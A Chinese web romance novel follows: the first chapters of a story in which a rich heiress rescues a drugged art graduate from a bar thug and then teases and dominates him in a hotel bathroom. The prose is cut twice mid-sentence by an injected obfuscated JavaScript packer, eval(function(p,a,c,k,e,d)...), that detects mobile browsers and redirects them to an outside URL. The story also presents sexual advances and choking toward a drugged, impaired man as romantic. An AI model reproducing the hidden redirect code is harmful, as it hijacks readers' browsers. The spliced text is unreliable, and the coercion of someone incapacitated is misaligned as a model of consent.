《渣女欠你什么[先婚后爱]》 1. 01,灌酒 在WRing酒吧第一次见到慕邵凡,是廖筠大学刚毕业的夏天。 一个有点心烦的周日,晚上。 哄闹的环境吵得她犯困,偏偏发小的消息催命似的轰炸,不停地关心她在哪儿。 那位发小名叫温跃,打从出生起就跟她认识。学生生涯一直跟她争年纪第一,成绩不相上下,后来她保送云州理工大,温跃却考到了遥远的芳州学医,漫长的四年里,俩人的关系说好不差,见了面还总得怼两句才罢休。 欢喜冤家的稳定状态直到半个月前,去芳州毕业旅行的廖筠酒后失态,把人带去了酒店。 去之后的事她倒是忘了,但温跃非说,既然发生了什么,就应该对她负责。穷追不舍的态度直接把她给烦得逆反了。 手机静音勿扰,廖筠坐在吧台喝冰块水。 酒吧里落单的美女往往被默认为猎物,但她身份特殊,WRing的常客大多都听说过,出了名的有钱脾气差,比起那些啃老的无能富二代,她手握整个廖家的庞大资产,有些富二代的爹妈来了也得叫她一声廖总,不知道多想跟她攀上关系。 她这种身份地位,只有别人给她当猎物的份。 水里的冰块叮咣响,一杯尼格罗尼很有眼力见地推过来,撂下其他客人的酒保谄媚地打招呼:“廖总!什么时候从芳州回来的,好几天没见您了。” 廖筠不接:“不喝了,戒酒。” 酒保看得出她心情不好,隔着吧台笑嘻嘻地往前凑:“前两天您不在,咱这新来了个打工的穷学生,长得可招富婆喜欢了,漂亮得跟朵小白花儿似的,比男明星还帅。” 廖筠面无表情地掀起眼皮:“你是说,我也是那种喜欢玩鸭子的富婆?” “没没!瞧您这话说的,我哪有那意思啊,就是想聊点好玩儿的……”酒保见献宝不成,立马改口,“刚才我碰见那小白花了,不知道怎么惹了骆哥,嘴又笨,道歉都不会,被骆哥摁住了狂扇巴掌灌酒,那场面,哇!太养眼了,真的!可带劲了!” 廖筠态度冷淡:“你们家小张总非要留着那个姓骆的,就会欺负老实人。” 酒保墙头草,义愤填膺地附和:“没错!姓骆的大傻逼,就会欺负老实人,我一直看他不爽。” 说着话,某个包厢“砰”地被撞开了门。 一个穿着白衬衫的年轻男人踉跄着,耷拉着脑袋往外走,身后一头卷毛的骆哥紧跟而上,嘴里叼着烟,脏手粗鲁地抓着他的肩膀,不停地骂骂咧咧。 酒保一拍手:“快看!那个就是。听说是刚从云州美院毕业的小画家,命不好吧,名还挺大,叫什么……慕邵凡!” 像是冥冥之中有所感应,被点名的慕邵凡恰好抬起头,眸光隔着酒吧昏暗斑驳的光线撞进了廖筠的眼中。 本来只是随意瞥过去看热闹的廖筠愣了一下。 深邃分明的五官精致得分外惹眼,他的长相是一种不需要用任何限定词来谦虚的漂亮。鼻梁精巧,薄唇微张,双眼不知道是不是含着一层泪,怎么看怎么委屈可怜。令人昏聩的光影如同为他洒下了一层浓艳滤镜,周身充斥着与白衬衫风格相悖的撩人妖娆。 修长的手指倔强地捏着一副细边框眼镜,镜腿歪得不能戴了,显然已经挨了一顿打。个子倒是不矮,约莫一米八五上下,身形偏瘦,挽着袖子的小臂有着结实的肌肉线条,细看也能看出他宽阔挺拔的脊背,绝非弱不禁风。 确实有点姿色。 酒保见缝插针道:“他家情况可惨了,他爸好赌,他妈有病,他还有个妹妹不上学在外面鬼混,现在他毕业了连住的地方都没有,租了个小破出租屋想考研,要不是为了交房租,也不至于……” “行了,”廖筠今晚实在没什么耐心,“你废话什么时候这么多了,写小说呢。” 酒保拿不准她的态度,往常她明明很喜欢看帅哥的,尤其是慕邵凡这种类型,看不上也会调笑两句,今天也不知道怎么回事。看她要走,酒保心里着急,赶紧朝着骆哥的方向使了个眼色。 酒吧热闹又拥挤,廖筠的身影很快融入人海中。 即便她身份再特别,混乱的场合也不可能有那么多有眼力见的人来避让她,有的男人趁乱故意往她身上靠,她见怪不怪,歪头先看对方颜值,再打量一下身材,眼里写满了“看不上”,把人家看得就跟脱了毛的狗一样不自在,只能落荒而逃。 真无趣啊。 本来路过这里想进来放松一下,结果反而觉得更没意思了。 男人就像调味品,当她连食欲都没有的时候,调味品就是最废物没用的东西。 慢悠悠地离开人群中心,她打算回家睡觉,睡醒了明天还有个客户要见。这时一阵嘈杂的声浪从身后扑过来,她还没等反应,忽然被人给狠狠地撞了一下。 她穿着高跟鞋,险些摔倒,回头一看,竟然是那个倒霉的小白花。这里离大门不远,他这是想逃跑。 “操!你个狗东西长不长眼!往哪儿窜呢?” 骆哥跟得很紧,凶神恶煞地冲过来,直接把小白花拖了回去,抬腿就是重重的一脚,把人踹倒在地上。 旁观人群围成圈,骆哥站在中间狂飙唾沫:“你他妈的一个乡巴佬,话不会说,跑得还挺快,摔坏了那么多酒,你当老子瞎?再跑,信不信老子他妈的就在这弄死你!” 小白花目光迷离地撑在地上,头晕眼花,虚得要命,嘴唇却倔强地抿着。 额前的发梢被酒水和汗水打湿,下巴和脖颈也全都洇得湿漉漉,衬衫黏糊糊地贴在身上,狼狈得像个落魄但漂亮到惹眼的乞丐。他尝试着想要爬起来,没成功,红唇吃力地张了张,却不是用这最后的力气跟骆哥求饶,而是抬起湿润的双眼,恳切地望向了人群中的廖筠。 廖筠确定自己并不认识他。 可是他的口型分明是在向自己求救。 骆哥后知后觉,才看到廖筠竟然在这,嘴磕绊了一下:“廖、廖总,您什么时候回来的,您跟他认识?” 廖筠居高临下,没有回答。唯有审视的目光强势地压在慕邵凡身上,如同一座冰山。 骆哥鬼精,摆手说:“廖总您甭理他,他摔了我好几瓶酒,一分钱不赔就要跑,当我吃素的。您放心,他不长眼敢撞您,我一定好好教训他!” 廖筠还是沉默,让骆哥的自说自话有点尴尬。他干咳两声,嬉皮笑脸套近乎:“对了,前两天小张总还念叨呢,说您光顾着出去玩,可别忘了回来给他过生日,正好,待会儿我跟小张总说说去,他还不知道您回来了吧?” 廖筠终于看了骆哥一眼,赏了两个字:“你谁?” “呵呵,您这是贵人多忘事,我姓骆呀!上次您来找小张总,还叫我小骆呢,我还帮您停车,您忘啦?” 廖筠表情极其淡漠,说话的语调柔柔的,透着一种悦耳的知性,又有点凌人的傲慢:“你应该不了解我的规矩,当着我的面,一不能打架,二不能骂人,尤其是不能骂的时候沾女人。他摔了你的酒跟他妈有什么关系,你爸没教过你怎么说话吗?” 骆哥没傻到去招惹她,赶紧道歉:“对不住对不住!都怪我素质低下,我刚才也是气急了,您大人有大量,别跟我一般见识……这样,看在您的面子上,我也不让他赔钱了,我俩私下和平解决……” 廖筠嗤鼻:“算了吧,他差你多少钱,账我替他平。”随手把酒杯递过去,被骆哥双手接住。 骆哥想起她也是个玩得花的,好爱勾搭小帅哥,以为她是看上人家了,直接狮子大开口:“没多少!哎呀也就,也就几万,小钱,哪能让您给他平……廖总,您真是大气!” 廖筠挑眉,不紧不慢地解下左腕的表,拿在手里晃了晃:“几万是几万?” “呃,三五万?他摔的都是好酒,我还没合计呢,我现在就让人去算……” “咕咚——” 手表被廖筠扔进酒中。 “不用算了,现在,马上,滚。” 最后一个字卷携着毫不掩饰的厌恶,像一记耳光响亮地打在骆哥的脸上。但骆哥摸爬滚打这么多年,当孙子早习惯了,哪会跟有钱人过不去,撤场飞快,捧着酒就跑,还顺道轰散了周围看热闹的人。 失去威胁的小白花缓了缓神,扶着墙柜摇摇晃晃爬起来,神情复杂,欲言又止。 廖筠正好趁这机会光明正大打量他。 近距离看,长相优势很明显,面部折叠度几近完美,五官不过分硬朗,也不过分阴柔,是浓淡正好的英气,挺像个有钱人家的公子哥。 廖筠明知故问:“名字?” 他略显拘谨,乖顺地垂着眸子:“慕邵凡。” “学生?” “刚毕业。” “画画的?” “嗯……” “几万虽然不多,但这个价位的酒不至于随便乱放吧,你故意的?” “没有!”慕邵凡被她误解,慌张抬头,“我不是故意的,那些酒都很便宜,是那个姓骆的乱要价,他想坑我!” “哦,那这么看,他坑你不成,所以坑了我。” 慕邵凡不如酒保脑子灵活,不懂如何应对她的脾气,老实巴交地说:“抱歉,多谢你救我,钱我一定会赔给你的。” “那倒不必。你都到这打工了,能有什么钱。也就身上的部件拆了值钱,组合在一起又没什么用。”廖筠好像嘲讽他似的,却又不关心他窘迫的反应,单纯就是嘴毒。淡然地在旁边找了个干净位子坐下,又要了一杯冰水。 慕邵凡见她不说话,干脆跟着坐在她身边,隔着一个空位,距离和分寸把控得刚好。 他需要休息,而她身边显然很安全。抹了一把脸,他闷头捣鼓手里的眼镜框,可惜镜片掉了,框也歪得没法用,无奈又折起来放在一旁。 廖筠随意看过去,一眼认出了镜框上雕刻的花体logo,来自一个珠宝奢侈品牌——FROLA。 不像那些喜欢炫耀价值的品牌,FROLA非常低调,极为小众,更注重艺术创造和设计理念,只有真正懂它的人才能欣赏它的魅力,也正因如此,它并不受廉价造假的青睐。 巧合的是,廖筠从几年前开始收藏它的珠宝,对这个牌子的全系列产品都很感兴趣。 又重新打量了一遍慕邵凡,她朝着吧台的方向勾勾手指。这酒保是她忠实的狗腿子,立马放下手里的活跑过来:“廖总!” 廖筠吩咐:“给他来杯酒。” 慕邵凡好像飘在状况外,眼神呆滞:“不用了,我不太会喝酒。” 廖筠无所谓道:“我还挺想看你被灌酒的,你要是不会喝,我叫人帮你。” 慕邵凡抗拒:“……不,不是这个意思。骆哥刚才让我喝了很多,我不太舒服,而且明天……明天我还要上课。” “你明天要做什么跟我有什么关系?” “来咯!”酒保特别上道,端着烈酒飞快地送过来,起哄他,“廖总请客的,干了吧!” 慕邵凡精神恍惚,盯着酒杯纠结了一会儿,再看廖筠,忽然感觉她比骆哥还要可怕三分。没办法试探着喝了一口,好像十分难以下咽,脸都白了。 酒保调侃:“啧,梁姐来的时候你不是挺能喝的么,装什么装。我可告诉你,你今天要是敢不喝,那就是不给咱廖总面子。” 廖筠问:“哪个梁姐?面子比我还大。” 慕邵凡傻傻地:“我不认识梁姐。” “你怎么不认识!”酒保说,“你上次还给梁姐跳脱衣舞了呢。” 廖筠跟酒保一唱一和着调戏他:“那你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283484|151953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身材不错呀。” 慕邵凡的脸颊隐约晕开了一层红,像个脑袋空空的笨蛋美人,百口莫辩。闷着头跟酒较劲,喝又喝不下,不喝又不敢,实在有点可爱。一个大老爷们露出这么娇憨的神情,偏偏他身上还透着一种与生俱来的清纯,中和了这种娇柔,并没有什么违和感。 勾得廖筠盯着他欣赏了半天,都有点不舍得为难他了,“噗嗤”笑了出来。 “好了,不用喝了,别回头把你送医院去,再让我担个责。” 慕邵凡暗自松了一口气,把酒杯放下:“谢谢。” “谢什么。” 廖筠顺手拿起他的酒,侵略性的眼神不客气地流转在他身上,浅浅地抿了一口:“你这种任人宰割的小鱼,混口饭吃也不容易。好心劝你一句,趁我还在这,赶紧走,不然待会儿可走不掉了。以后换个工作吧,WRing不要再来了。” “……为什么?” “什么为什么?”廖筠故意卖关子,笑着凑近他,压低声音,“哦,你真以为我是冤种啊,我给的那块表其实是假的。” 撩人香气扑鼻而来,慕邵凡像是被定住的木偶,瞳孔轻晃,一时呆愣在那。 廖筠只当他浅薄无知被吓到了,眼疾手快拿起他的眼镜细细观察:“姓骆的早年偷鸡摸狗,名声不好,好不容易靠上小张总,过了遍水,万事都很小心,要是拿着我给的东西被发现是假的,面子和名声必然得垮一个,收他货的人更不可能轻饶了他,那他又怎么可能放过你呢。” 将镜框仔仔细细地摸了个遍,廖筠话锋一转:“不过往好处想,他压根不认识什么好货,也是自己活该。不然拿走你的眼镜,可比那些破烂酒贵多了。” 慕邵凡没反应过来,见廖筠在FROLA特制logo处反复摩挲,分明是在确认工艺,眼神骤然慌了。 廖筠笑笑:“不用紧张,我不好奇你的私事,只是觉得你的金主蛮有眼光的。” “咔哒” 眼镜被重新放在桌子上,廖筠起身:“你不走,我可不等你了。待会儿再被抓,就跟老天求救吧。” 长发摇曳的背影远去,周围沁人的香气也随她而散。 慕邵凡的脑子乱成了一团浆糊,让他飘忽其中的理智难寻出口。 杯口印着她浅浅的唇印,酒精的味道像是毒药一般肆意拨弄着他的神经。虚弱的四肢缓缓蔓延出让人精神紧绷的痒,心脏更是控制不住地升起了病态的念头,几乎想都没想地,他拿起那杯酒来一饮而尽。 酒保惊讶:“你怎么!……不是不会喝吗?” 慕邵凡被酒激得懵了一阵,酒杯从手中摔落。他踉跄着站起来,撑着最后的理智追往廖筠的方向。 这里离大门不远,廖筠也没走太快,刚才的小白花无疑引起了她的一点兴致,但四处看看其他猎物,却还是觉得差点意思。小白花能有FROLA,八成有金主,她可是很有道德观念的,绝对不玩别人的东西。 不过……她步子一顿,要不回去确认一下?如果真有金主,不至于被姓骆的那种喽啰欺负吧。 那种品相的好货只能看不能玩,实在有点可惜。 正打算折返回去,转身的一瞬间,小白花就像凭空冒出来似的,“砰”地又撞上了她。 迎面相撞,直接把她抱了个满怀,高大的身躯紧锁着她,脑袋却软绵无力地靠在她的肩膀。异常灼丨重的呼吸洒落在她耳畔,她愣了愣,奇怪地叫他:“……小白花?你没事吧。” 慕邵凡已经神志不清了,挂在她身上,目光涣散,脸颊直蹭她耳朵。 这才过去多一会儿,他的整张脸竟然都红透了,满头冒汗,胸口起伏,古怪得很。 廖筠不是什么纯情挂的小女孩儿,情场夜场,见多识广,脑子一转就猜到了他的状况,肯定是被下药了。 酒保不至于在她眼皮底下作妖,估计是姓骆的不怀好意,假借摔酒要债,实则另有所图,先把人吓住,再把人打服,酒里加点料……剩下的还不是为所欲为。 要是她刚才没插手,小白花可就惨了。 廖筠叹了口气,好心叫来两个贴身保镖:“把他送楼上去,先扔门口。” “是。” 廖筠独自回到刚才的散台,找到了被遗忘的眼镜,再仔细摸了摸,应该是正品没错……也不知道这小子到底识不识货。收好眼镜又去找酒保,单臂撑在台面上,歪头甩出两个字:“梁姐?” 酒保苦着脸嘿嘿笑:“我瞎说的。” “脱衣舞?” “真的就是想开个玩笑……” “他的金主是谁?” “没有金主吧,反正我没听说。” 廖筠有数了,敲了敲桌面:“姓骆的有什么动向,发我微信。” “明白!” …… 走进VIP专用电梯,廖筠越过那一层层普通酒店,上行到大楼的更高处。 最顶端的三层是小张总的私人领地,只开放给身份特殊的贵宾。单是走廊就奢华非凡,摆放的画作之多,简直可以称为私人美术馆。 来到属于她的那间套房,慕邵凡正蜷缩着躺在门口。 走廊的温度比酒吧要低很多,他看起来不太舒服。廖筠并没有关心他的死活,高跟鞋直接从他身上迈了过去,迎面两个保镖从两边默契地打开房门,明亮辉煌的室内就这样映入眼帘。 这里是云州最繁华热闹的中心地带,整面的大落地窗映照着璀璨的城市夜景,绘制成一幅无数钱权利益堆砌而成的艺术画。 站在这里的,如果不能成为观众,就只能像小白花一样,被剪碎尊严剁成菜送上来。 进门前,廖筠瞥了小白花一眼,戏谑地说: “自己爬进来吧,我收留你一夜。” 2. 02,金主 慕邵凡意识一片混乱,脑袋都要烧着了,压根就听不清廖筠说什么,当然也没力气自己进屋。 两个保镖就这么守在敞开的门口,顺便守着他。 一小时后,泡过澡的廖筠披着半干的长发,穿着浴袍,双腿交叠坐在沙发上优哉游哉地喝红酒。说好的戒酒只是一时胡说罢了,酒这玩意儿她要是真能戒掉,也不至于跟温跃闹得那么尴尬。 她性格刺毛,从小就耐心不多,处理感情的时候尤为理智残酷。 昨晚她跟温跃都在朋友贺召家里,俩人在阳台上晒着月亮喝酒的时候,她明说了,希望能把芳州的意外翻篇。当时的温跃痛快答应,今天却不知怎么的又反悔,从中午分别到现在,不停地给她发废话。 什么在哪儿啊,吃了没,在干嘛,睡了吗,为什么不回消息,新装修的店怎么样,工作巴拉巴拉……后面的她一句也没看。 再这么下去早晚会被朋友们知道她连自己的发小都下手,渣女也是要脸的好吗。 把手机也扔进酒里,她用ipad玩起了游戏。 “咚咚” 保镖找准她游戏赢了的空档,敲门提醒:“廖总,慕先生还在门口。” 廖筠差点忘了这个人。 “睡死了?姓骆的不会下成安眠药了吧。” “没,慕先生一直不太舒服,您要不要出去看看他?” “我看他干嘛,”廖筠说,“你把他弄进来吧,给他洗洗,让他睡觉。姓骆的肯定不舍得用什么好东西,发个烧难受点,撑一撑,很快就过去了。” “是。” 她有两个贴身保镖,一男一女,都是武力值很强的高手。眼下,男的这位自然担负起给慕邵凡洗澡的重任。不过情况特殊,保镖也不是搓背的,顶多把人扔进浴缸里,再捞起来换身干净衣服就是了。 浴缸里慢慢积起一层水,保镖面无表情地往慕邵凡身上倒了点沐浴露,想去去他的酒味,以免被廖筠嫌弃。 水声稀里哗啦乱响,噪音越来越大,终于在某个瞬间吵醒了混沌之中的慕邵凡,猛然睁开眼,他还以为自己溺水了,浑身一激灵。 “你是?……”他声音沙哑,很快意识到自己正在陌生的环境里,疑惑逐渐转为警惕,“你想干什么!” 嗓门还挺大。 保镖一脸高冷,不搭理他。 他当即就要爬起来:“这是什么地方?” 客厅的廖筠被动静吵到,刚到浴室门口就看到慕邵凡在跟水斗争,浑身湿透了,情绪格外激动,手抓着浴缸边缘想往外跑,胳膊却隐隐发抖没力气,反复打滑。 “怎么了?” 廖筠警告的眼神扫过保镖,意思是在问他。 保镖举双手表示无辜:“我给他放水呢,什么都没干。” 廖筠看向浴缸,里面确实有一层水,还有一些沐浴露泡泡。视线上移,慕邵凡的脸肉眼可见的泛起了红。 害羞什么,不会以为她往下看是在耍流氓吧…… “咳,”廖筠收回目光,“这里是WRing楼上的酒店,我嫌你身上太脏,所以让阿杨帮你清理一下。阿杨是我的保镖,对你没有威胁。你既然醒了,自己来吧。”说完使了个眼神,保镖懂事地点头离开。 浴缸的水还在流,慕邵凡没再挣扎了,坐在浴缸边缘,花洒淅淅沥沥地打在背后。 廖筠提醒:“你现在可能有发烧的感觉,那是因为姓骆的给你下药了。还是那句话,WRing不适合你,除非你背后真的有什么厉害姐姐撑腰,不然趁早滚蛋,你玩不过姓骆的,钱也赚不明白,懂吗?” 慕邵凡没抓住重点,沮丧地低着头:“我没有姐姐,你别听那个酒保说,我真的不认识梁姐。” 廖筠一愣,被他的脑回路气笑了。 径直往前去,弯腰将手搭在浴缸边缘,和他的胳膊隔着一拳之远,却让他的耳朵瞬间羞红。水灵灵的样子我见犹怜,真没白费她冲着颜值把人救回来。扬起嘴角,她缓缓蹲下,支着下巴,更加肆无忌惮地盯着他。 他胳膊往里缩了缩:“……看什么?” “看你啊,看你长得怪好看的,姑且原谅你的愚蠢了。” 慕邵凡委屈地抿了抿唇,像个纯情的傻白甜。廖筠起了逗他的心思,故意说:“我想收回之前的话,我对你的隐私挺好奇的,你的金主是谁?” “我没有金主,也没有姐姐。”顿了顿,他又补充,“信不信随你。” 廖筠轻笑:“还挺硬气,不是刚才跪着求我救你的时候了?” 慕邵凡被她戏谑的目光来回打量,羞赧地抓了两把没用的泡泡挡在身前,妄图遮盖不受控制的地方:“又不是第一次被当……当成卖的,你不信我,解释也没用。” “嗯,那倒是,你这种类型确实很容易让人误会。” 慕邵凡不说话了,过了两秒,飞快地瞥她一眼,见她一直盯着自己不走,不好意思地偏过头。 廖筠歪着脑袋继续看他,盯得目不转睛。 他耳朵红得要命,忍不住说:“你……” “我?” “能不能别一直这么看我。” “哦。” 廖筠直起背,起身侧坐在浴缸旁边。明面上是拉开距离,实则一个不小心,坐在了他的手背上。没坐实,也就挨着他的小拇指和无名指,可把他给慌乱坏了。 嘴角压着一抹玩味的笑,她说:“其实刚才你的情况很危险,为了救你,不该看的我已经看过了,不该碰的我也全碰过了。你不会生气吧?” 慕邵凡下意识往身前摸了摸,确认衣服还在,而且扣子还系着,竟然松了口气。 廖筠瞪他:“这什么表情?我们第一次见面就来酒店开房,当着那么多人呢,不知道的还以为是我给你下的药,你不感恩就算了,敢嫌弃?” “我没有嫌弃!”慕邵凡赶紧解释,“我是怕刚才没有意识,冒犯了你,对不起。” 被她调戏还跟她说对不起,又委屈又无奈,又想反抗又没那胆子,稍微被逗一下就不知所措,没见过这么好玩的。 廖筠忍着笑,摸向他的脸。 细丨滑的皮肤沾着冰凉的水珠,手感很好。他明显惊了一下,在药物的影响中又很快适应,像被摸头的小狗半眯着眼睛。食指自他的耳根沿着下颌线轻轻描绘,中指的指尖若有似无地撩过喉丨结,他头皮发麻打了个激灵,下意识吞了口唾沫。 “你这么漂亮,怎么能叫冒犯呢。别紧张,我又不是坏人,我会摸骨,要不要给你看看相?” 他的喉丨结再次上下滚动,鼻息急促着摇了摇头:“我知道你不是坏人,你跟骆哥他们不一样,你很善良。” 廖筠刚冒出来的兴致顿时萎了。给她抬到这种高度,还挺会拒绝。收回手,语气也冷淡下来:“哦,你听说过我。” “听阿哲提过几次。”阿哲就是那个酒保。 “他?怎么‘提’的?” 高傲强势的企业家,风流多情的大小姐,廖氏企业的唯一话事人,还是云州出了名的现金王。 阴晴不定,规矩奇多,前男友更多,能用钱解决的麻烦在她眼里都不算问题,能让她动脑子针对的那得算对方三生有幸。光艳的美貌只是她身上很普通的优点,夺目的人格魅力才是她能斩获无数崇拜者的根本原因。 没有谁能在接触过她之后再把她忘记,就像见过璀璨的浮光跃金,往后无论再遇见珠玉,星河,还是葳蕤翠影,所有灵动美好的一切,都会与那一刻的记忆自动关联。 当然,酒保初中毕业,这些全都不是他的原话,而是慕邵凡通过他的描述自我理解的内容。 慕邵凡没那么厚脸皮告诉当事人,含糊地说:“他说你人挺不错的,很厉害。” 廖筠被噎了一下,什么小学生形容。 美院毕业的大画家转述的时候不知道添点艺术加工么,白给他一个夸人的机会,他连花言巧语都不说,这么实诚,可能是真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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廖筠恍一下没理解他的意思。 “我没想攀附谁,你比谁都好。” 廖筠忍俊不禁,捏着他的脸晃了晃,指甲几乎掐进肉里,猛地把他拽得近了些,低下头和他对视的同时,拇指摁向他的嘴角,在他的下唇缓缓碾过:“你这不是挺会说话的么。” 柔丨软的指丨腹带来绝对的威圧,慕邵凡头皮发麻一阵连绵至尾椎,感觉整个人都要炸了,气息不畅,还不忘鼓足勇气推销自己:“你喜欢听什么,我可以学,我会很懂事,不给你添麻烦,也不需要很多钱。” “就只是想让我给你撑腰?” “……可以吗?” “你真贪心,敢惦记我的身份。可惜我要回答你:不可以。” 他眸子里的光顿时黯淡了。 因为药物影响,他的小情绪全都表现在脸上,廖筠清楚,他现在还能跟她冷静地对话,只是冷水浸泡的缘故,再加上他本身性格或许比较克制,礼貌和教养重一些罢了。 但凡再撩拨两下,或者让他出来待一会儿,保准场面很快就会失控。 失控了,还能玩得了套路么? 她越凑越近,眼里写满了玩味:“不过我确实很善良,倒是可以先教教你规矩,要是你学得快的话……我考虑考虑,怎么样?” 歪了歪头,鼻尖轻轻擦过他的脸,她柔和的气息浅浅的,犹如羽毛撩拨,隔靴搔痒,牵动着他心跳的节拍。声音柔软到了极点,就像在对他说悄悄话:“同意的话,现在开始上课。第一条,也是很重要的,要有眼力见。” 说完,“啵唧”亲在他唇上。 浅尝辄止,轻描淡写地点了一下,把他残存的意识彻底轰了个一干二净。 慕邵凡已然失去所有思考能力,迎着她手的阻力毫不犹豫地吻了上去。 3. 03,管教 很急切,但很笨。 只是吻她,吻到僵硬都不知道要怎么张嘴。 廖筠摸摸他的发顶以作安抚,不想把跟帅哥的第一个吻搞得太难受,凡事都得是有技巧才能让结果出色,现在的他显然是有些急于求成。 微微退开一些,她想要占据主导教教他,可是他就像个患得患失的疯狗,突然按住她的后脖颈,不允许她生出任何退离的念头。比刚才进步的一点是他开始尝试着又啃又咬,比刚才更难受的点在于……她的嘴唇真的有点痛。 终于在他不小心咬疼了她的嘴角后,廖筠忍无可忍地推开他,看他如此朦胧又可怜的眼神,说不好自己是被撩到了,还是被气到了:“你不会是初吻吧。” 慕邵凡茫然地眨了眨眼睛。 他坐在水里,对她始终是仰望与崇拜的态度。另一只手虚虚地搂着她,也只敢跟刚才一样拽着衣角。廖筠无奈主动抓着他的手,让他五指打开,放在自己后腰上:“记住第二条规矩,听话。” 她声音柔柔的,亲吻也是,不紧不慢地啄了他几下,但有能让人心跳狂飙的本事。 慕邵凡不知道应该听什么话,她什么命令都没说,暂且就认为“听话”的意义在于无条件地承受吧。 隐忍着想要立刻把她紧抱在怀的冲动,他的心在发痒,骨头在发痒,神经更是紧张,如同千万只蚂蚁在爬。他好像突然变成了一个高敏丨感人,任何一点风吹草动都能威胁到他,让他颤抖,让他认输,却不是因为胆怯害怕。 水面不知何时涨到了预订好的高度,水龙头停了,花洒还在工作。空气安静得有些聒噪,环境渐渐变得闷热,他好像忽然不适,用力呼吸了两下。 廖筠好心中止了戏弄一般的吻,但紧接着就用拇指指甲锋利地抵住了他的喉丨结:“技巧不行啊,宝贝,上大学没谈过恋爱吗?” 慕邵凡凭着本能往前,脖子蹭着她的手指摇头。 “长这么好看,没有小姑娘喜欢你?” “没……” 廖筠顺势一把掐住他的脖子,虎口压迫得他呼吸困难,让他忍不住睁大了眼睛。不同于他的被动,廖筠始终都很清醒,高高在上,神色不见半点迷离。 “原因呢?编点合理的。” 慕邵凡晃了晃脑袋,想挣扎,又没做太大动作。用力吸了一口气又重重地吐出,范围内她的香气已经不能让他满足,蹙着眉头,磕磕绊绊地哑声祈求:“靠近一点,抱,抱一下……” 廖筠敷衍:“这不正抱着呢么。” 慕邵凡不满足,搂着她的胳膊一点一点收紧,终于让她失去平衡,一下子跌进水里。水因为多了一个人的到来而溢出了些许,他后背被撞得发疼,头顶的花洒更是终于浇了他满身。可他顾不了那么多,用力地环抱着她,恨不能即刻溺死在她的气息之中。 廖筠真是想不到这年头还有这么纯爱的人,都落到他怀里了,还干抱着? “关掉……” “什么?” “花洒关掉……” 其实她觉得还蛮有氛围的,冰凉的水和炽热的拥抱,不是很有感觉么。廖筠关掉花洒,好心哄他:“只要你听话,乖乖回答我的问题,我能让你好受一些。” 他闷闷地应了一声:“嗯。 “大学没谈过,以前呢?” 他很快否认:“以前也没。” “上次我碰到一个跳芭蕾的弟弟,气质跟你还挺像的,同时和五六个女孩一起玩,只是因为没确定过任何一段关系,所以一直自称母胎solo,你该不会也……唔!” 没等她慢悠悠地说完,慕邵凡不乐意地用嘴巴堵住了她的话。 他似乎是个行动派,嘴上说不过,自己就会找别的门路。只不过胆子还没那么大,亲一下就怂,马上慌张地看她的眼睛,想要确认她有没有生气。 “你又不信,还要问我……” 廖筠哭笑不得:“你还挺有理?” 像他这种品相的好货,要是白纸就太好玩了,稍加管教绝对会有惊喜。可现在问题是,他的外形和气质条件都属于中等偏上乘,艺术才能傍身,怎么会是白纸呢。 偏头躲过他蠢蠢欲动的眼神,廖筠的手像毒蛇一样,再次缠上了他的脖子:“第三条,诚实。没有主人喜欢不忠诚的狗,撒谎会让你失去机会。” 慕邵凡嘴唇动了动,迟疑了好一会儿:“我,我没撒谎。” “那就好好回忆我刚才的问题,你漏答了一个。提醒一下,‘原因’。” “没什么原因……”他还没说完,突然被廖筠不满地掐紧了喉咙,疼得闷哼一声,不住地干咳。 廖筠不悦:“这不是我要听的答案。” 他体内本就有躁动因子,这股要命的窒息感瞬间点爆了他的神经。 明明泡在冷水里,灵魂却像扎进了沸腾的酒缸,密密麻麻,角角落落,火烧火燎的疼。恍惚的双眸紧紧地望着她,写满了让他自己都陌生的贪念。直到她好心放松了手劲,才终于让他抽回了一丝理智,满眼湿润,还没做什么就已经要被她玩崩溃了。 廖筠将拇指按在他的颈动脉,其他几根手指很轻地拍了拍他的脖子:“说吧,最后一次机会。” “我……咳咳咳……咳,我也不知道……”一张嘴,他嗓子哑得厉害,脖颈接着又迎来痛感,他马上知趣地改口,“可能是因为家庭缘故,我性格内向,不太懂怎么跟人相处,真的没有你想的那么多人喜欢我。你觉得我好看,这对我来说不算优点……是困扰。” 弱势者无法自保的漂亮,确实没什么用。就像他会被骆哥盯上一样,无辜遭受危险。 廖筠细细地凝视他,欣赏着他的眉眼,神情,每一丝微小的反应。 这种性格还挺少见的,心有所图又有自知之明,看似缺爱但懂分寸礼貌,实在很适合圈起来当宠物。 再次摸上他的脸,廖筠看他的眼神沾染了些许怜惜:“第四条规矩,要有服务意识,主人的感受永远是第一位的。水太冷,我们去卧室吧。” 慕邵凡只是泡了遍水,哪里配进卧室。 廖筠不管那么多,撇下他先行离开,他一个人过了好一会儿出来,看起来倒是收拾妥当了,情绪也稳定了许多,就是脸红得异常。 廖筠能猜到,肯定是自己玩过了,不然药到那种程度,绝对半步都挪不动。 她正在处理工作,发现他出来也只是扫过去一瞥:“坐。”然后又接着忙自己的。 慕邵凡落坐在不远处的沙发上,穿着和她同款的浴袍,闷了好一会儿没说话。见她时不时地蹙眉,忍不住问:“是有什么麻烦事吗?” 声线平稳沉着,恢复得不错。 “顾好你自己的麻烦事吧,都解决了?” 慕邵凡瞬间羞涩地错开目光,不再吭声。 等廖筠把手头工作处理完,时间又寂静地过去了二十分钟。慕邵凡头发还有一点点湿,坐在那乖得像个等妈妈下班的小孩。她把ipad随手一扔,靠在堆叠枕头上,重重地舒了口气:“过来。” 